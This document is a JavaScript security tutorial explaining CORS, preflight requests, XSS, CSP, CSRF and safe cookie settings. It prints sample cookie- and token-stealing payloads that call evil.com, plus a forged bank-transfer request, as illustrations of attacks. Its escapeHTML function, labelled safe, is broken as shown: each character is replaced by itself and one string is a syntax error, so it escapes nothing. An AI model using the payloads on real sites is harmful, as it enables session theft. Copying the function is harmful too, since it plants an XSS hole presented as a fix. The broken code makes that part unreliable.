JavaScript CORS and Security Basics
Security in JavaScript is not optional — a poorly secured web app leaks user data, enables attackers, and breaks trust. Two of the most important concepts for frontend developers are CORS (Cross-Origin Resource Sharing) and protection against common browser-based attacks like XSS and CSRF. Understanding these helps you build apps that handle data responsibly.
What Is CORS?
CORS is a browser security mechanism. Browsers block JavaScript from making requests to a different domain (origin) unless that domain explicitly says it allows it. This prevents a malicious website from silently reading data from your bank's API using your logged-in session.
Diagram: Same-Origin vs Cross-Origin
Same-Origin (allowed without CORS): Page: https://myapp.com/page Request: https://myapp.com/api/data ← same domain, port, protocol → OK Cross-Origin (blocked by default): Page: https://myapp.com/page Request: https://api.otherdomain.com ← different domain → BLOCKED Cross-Origin with CORS header (allowed): Server responds with: Access-Control-Allow-Origin: https://myapp.com → Browser allows the request
What Counts as a Different Origin?
An origin is the combination of protocol, domain, and port. All three must match.
| URL A | URL B | Same Origin? | Reason |
|---|---|---|---|
| https://site.com | https://site.com/api | Yes | Same protocol, domain, port |
| https://site.com | http://site.com | No | Different protocol |
| https://site.com | https://api.site.com | No | Different subdomain |
| https://site.com | https://site.com:3000 | No | Different port |
The CORS Error in Practice
// Running on https://myapp.com — trying to call a different domain
fetch("https://api.otherdomain.com/data")
.then(res => res.json())
.then(data => console.log(data))
.catch(err => console.log(err));
// Browser console shows:
// Access to fetch at 'https://api.otherdomain.com/data' from origin
// 'https://myapp.com' has been blocked by CORS policy:
// No 'Access-Control-Allow-Origin' header is present
Diagram: CORS Request Flow
Browser sends request to api.otherdomain.com
│
Server at otherdomain.com responds
│
Browser checks response headers:
│
Has "Access-Control-Allow-Origin: https://myapp.com"?
│
YES → allow JS to read response
NO → block response, throw CORS error
(response arrives but browser hides it from JS)
The Fix: Server Sets CORS Headers
CORS is solved on the server side — not in JavaScript. The server must include the right headers in its response.
// Example: Node.js / Express server
app.use(function(req, res, next) {
res.setHeader("Access-Control-Allow-Origin", "https://myapp.com");
res.setHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
res.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");
next();
});
Preflight Requests
Before sending a non-simple request (one with custom headers or methods like PUT/DELETE), the browser automatically sends an OPTIONS preflight request to ask the server: "Are you OK with this?" The server must respond with permission headers before the real request proceeds.
Diagram: Preflight Flow
Browser wants to send: DELETE /api/user/5 Step 1 — Preflight: Browser ── OPTIONS /api/user/5 ────────► Server Browser ◄── "Access-Control-Allow-Methods: DELETE" ── Server Step 2 — Real request (if preflight passed): Browser ── DELETE /api/user/5 ─────────► Server Browser ◄── response ◄──────────────── Server
Cross-Site Scripting (XSS)
XSS is an attack where malicious JavaScript gets injected into a trusted web page and runs in other users' browsers. If your page displays user content without sanitizing it, an attacker can inject a script that steals cookies or session tokens.
Diagram: XSS Attack Flow
Attacker submits comment: <script>fetch("evil.com?c="+document.cookie)</script>
│
Website stores comment in database (without sanitizing)
│
Victim visits the page
│
Browser renders the comment → runs the script!
│
Attacker's server receives victim's cookies → account hijacked
Preventing XSS
// DANGEROUS — injects raw HTML directly
element.innerHTML = userInput;
// SAFE — treats input as text, not HTML
element.textContent = userInput;
// SAFE — encode special characters before inserting
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
element.innerHTML = escapeHTML(userInput);
Content Security Policy (CSP)
A CSP header tells the browser which scripts are allowed to run. It blocks injected scripts even if XSS occurs.
// Server sets this header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
// Now only scripts from your own domain and trusted.cdn.com can run.
// Injected inline scripts are blocked automatically.
Cross-Site Request Forgery (CSRF)
CSRF tricks a logged-in user's browser into sending an unwanted request to your server. If your bank uses cookies for authentication, a malicious page can silently trigger a money transfer using your active session.
Diagram: CSRF Attack
1. User logs into bank.com (session cookie stored)
2. User visits evil.com (without logging out)
3. evil.com has hidden code: fetch("https://bank.com/transfer?to=attacker&amount=5000")
4. Browser sends request WITH the bank.com session cookie automatically
5. Bank sees a valid logged-in session → processes the transfer!
CSRF Prevention
- Use CSRF tokens — a unique random token included in every state-changing request that the server verifies.
- Use
SameSite=Strictcookies — prevents the browser from sending cookies on cross-site requests. - Check the
OriginorRefererheader on the server to confirm requests come from your own site.
// Set a safe cookie
document.cookie = "session=abc123; SameSite=Strict; Secure; HttpOnly";
// SameSite=Strict → never sent cross-site
// Secure → HTTPS only
// HttpOnly → not accessible by JavaScript (protects from XSS theft)
Never Store Sensitive Data in localStorage
// DANGEROUS — any script on the page can read this
localStorage.setItem("authToken", "secret-jwt-token");
// XSS attack can steal it:
// fetch("evil.com?token=" + localStorage.getItem("authToken"))
// SAFER — use HttpOnly cookies for auth tokens
// The server sets the cookie — JavaScript cannot read it
// Cookie: authToken=secret-jwt-token; HttpOnly; Secure
Security Checklist for JavaScript Developers
| Threat | Prevention |
|---|---|
| XSS | Use textContent, escape HTML, set CSP headers |
| CSRF | CSRF tokens, SameSite cookies |
| Token theft | HttpOnly cookies instead of localStorage |
| CORS misconfiguration | Allow specific origins, not * |
| Data in transit | Always use HTTPS (wss:// for WebSockets) |
Summary
CORS is a browser policy that blocks cross-origin requests unless the server explicitly allows them — it is fixed on the server with response headers, not in your JavaScript. XSS lets attackers inject scripts into your pages — prevent it by escaping user input and using textContent instead of innerHTML. CSRF tricks browsers into sending authenticated requests to other sites — prevent it with CSRF tokens and SameSite cookies. Never store authentication tokens in localStorage — use HttpOnly cookies that JavaScript cannot touch. Security is built in layers, and understanding these fundamentals protects both your users and your application.
